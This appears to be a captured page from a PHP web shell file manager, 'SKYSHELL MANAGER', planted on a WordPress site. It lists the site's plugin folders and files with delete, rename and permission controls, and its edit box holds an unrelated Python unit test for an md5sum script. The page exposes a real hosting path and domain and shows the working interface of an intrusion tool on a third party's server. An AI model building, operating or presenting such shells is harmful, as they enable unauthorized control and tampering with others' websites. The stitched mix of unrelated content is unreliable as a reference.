📁
SKYSHELL MANAGER
PHP v8.0.30
Create
Create
Path:
root
/
home
/
godaofbq
/
redlightsquared.com
/
wp-content
/
plugins
/
Name
Size
Perm
Actions
📁
adminify
-
0755
🗑️
🏷️
🔒
📁
adminify-activity-logs
-
0755
🗑️
🏷️
🔒
📁
adminify-pro
-
0755
🗑️
🏷️
🔒
📁
akismet
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration
-
0755
🗑️
🏷️
🔒
📁
all-in-one-wp-migration-unlimited-extension
-
0755
🗑️
🏷️
🔒
📁
authorizenet-payment-gateway-for-woocommerce
-
0755
🗑️
🏷️
🔒
📁
backuply
-
0755
🗑️
🏷️
🔒
📁
backuply-pro
-
0755
🗑️
🏷️
🔒
📁
cf7-conditional-fields
-
0755
🗑️
🏷️
🔒
📁
classic-editor
-
0755
🗑️
🏷️
🔒
📁
code-snippets
-
0755
🗑️
🏷️
🔒
📁
contact-form-7
-
0755
🗑️
🏷️
🔒
📁
cookieadmin
-
0755
🗑️
🏷️
🔒
📁
cookieadmin-pro
-
0755
🗑️
🏷️
🔒
📁
crisp
-
0755
🗑️
🏷️
🔒
📁
duplicate-page
-
0755
🗑️
🏷️
🔒
📁
duplicator
-
0755
🗑️
🏷️
🔒
📁
export-media-with-selected-content
-
0755
🗑️
🏷️
🔒
📁
google-listings-and-ads
-
0755
🗑️
🏷️
🔒
📁
google-site-kit
-
0755
🗑️
🏷️
🔒
📁
gosmtp
-
0755
🗑️
🏷️
🔒
📁
gosmtp-pro
-
0755
🗑️
🏷️
🔒
📁
header-footer
-
0755
🗑️
🏷️
🔒
📁
litespeed-cache
-
0755
🗑️
🏷️
🔒
📁
loginizer
-
0755
🗑️
🏷️
🔒
📁
loginizer-security
-
0755
🗑️
🏷️
🔒
📁
loginpress
-
0755
🗑️
🏷️
🔒
📁
masterslider
-
0755
🗑️
🏷️
🔒
📁
oxygen
-
0755
🗑️
🏷️
🔒
📁
oxygen-gutenberg
-
0755
🗑️
🏷️
🔒
📁
oxygen-woocommerce
-
0755
🗑️
🏷️
🔒
📁
pagelayer
-
0755
🗑️
🏷️
🔒
📁
pagelayer-pro
-
0755
🗑️
🏷️
🔒
📁
pdf-embedder
-
0755
🗑️
🏷️
🔒
📁
rolemaster-suite
-
0755
🗑️
🏷️
🔒
📁
siteseo
-
0755
🗑️
🏷️
🔒
📁
siteseo-pro
-
0755
🗑️
🏷️
🔒
📁
speedycache
-
0755
🗑️
🏷️
🔒
📁
speedycache-pro
-
0755
🗑️
🏷️
🔒
📁
wc-external-product-new-tab
-
0755
🗑️
🏷️
🔒
📁
woocommerce
-
0755
🗑️
🏷️
🔒
📁
wordpress-seo
-
0755
🗑️
🏷️
🔒
📁
wp-headers-and-footers
-
0755
🗑️
🏷️
🔒
📄
error_log
10588.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
login.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: test_md5sum.py
"""Tests for the md5sum script in the Tools directory.""" import sys import os import unittest from test import support from test.support import hashlib_helper from test.support.script_helper import assert_python_ok, assert_python_failure from test.test_tools import scriptsdir, skip_if_missing skip_if_missing() @hashlib_helper.requires_hashdigest('md5', openssl=True) class MD5SumTests(unittest.TestCase): @classmethod def setUpClass(cls): cls.script = os.path.join(scriptsdir, 'md5sum.py') os.mkdir(support.TESTFN_ASCII) cls.fodder = os.path.join(support.TESTFN_ASCII, 'md5sum.fodder') with open(cls.fodder, 'wb') as f: f.write(b'md5sum\r\ntest file\r\n') cls.fodder_md5 = b'd38dae2eb1ab346a292ef6850f9e1a0d' cls.fodder_textmode_md5 = b'a8b07894e2ca3f2a4c3094065fa6e0a5' @classmethod def tearDownClass(cls): support.rmtree(support.TESTFN_ASCII) def test_noargs(self): rc, out, err = assert_python_ok(self.script) self.assertEqual(rc, 0) self.assertTrue( out.startswith(b'd41d8cd98f00b204e9800998ecf8427e <stdin>')) self.assertFalse(err) def test_checksum_fodder(self): rc, out, err = assert_python_ok(self.script, self.fodder) self.assertEqual(rc, 0) self.assertTrue(out.startswith(self.fodder_md5)) for part in self.fodder.split(os.path.sep): self.assertIn(part.encode(), out) self.assertFalse(err) def test_dash_l(self): rc, out, err = assert_python_ok(self.script, '-l', self.fodder) self.assertEqual(rc, 0) self.assertIn(self.fodder_md5, out) parts = self.fodder.split(os.path.sep) self.assertIn(parts[-1].encode(), out) self.assertNotIn(parts[-2].encode(), out) def test_dash_t(self): rc, out, err = assert_python_ok(self.script, '-t', self.fodder) self.assertEqual(rc, 0) self.assertTrue(out.startswith(self.fodder_textmode_md5)) self.assertNotIn(self.fodder_md5, out) def test_dash_s(self): rc, out, err = assert_python_ok(self.script, '-s', '512', self.fodder) self.assertEqual(rc, 0) self.assertIn(self.fodder_md5, out) def test_multiple_files(self): rc, out, err = assert_python_ok(self.script, self.fodder, self.fodder) self.assertEqual(rc, 0) lines = out.splitlines() self.assertEqual(len(lines), 2) self.assertEqual(*lines) def test_usage(self): rc, out, err = assert_python_failure(self.script, '-h') self.assertEqual(rc, 2) self.assertEqual(out, b'') self.assertGreater(err, b'') if __name__ == '__main__': unittest.main()
Save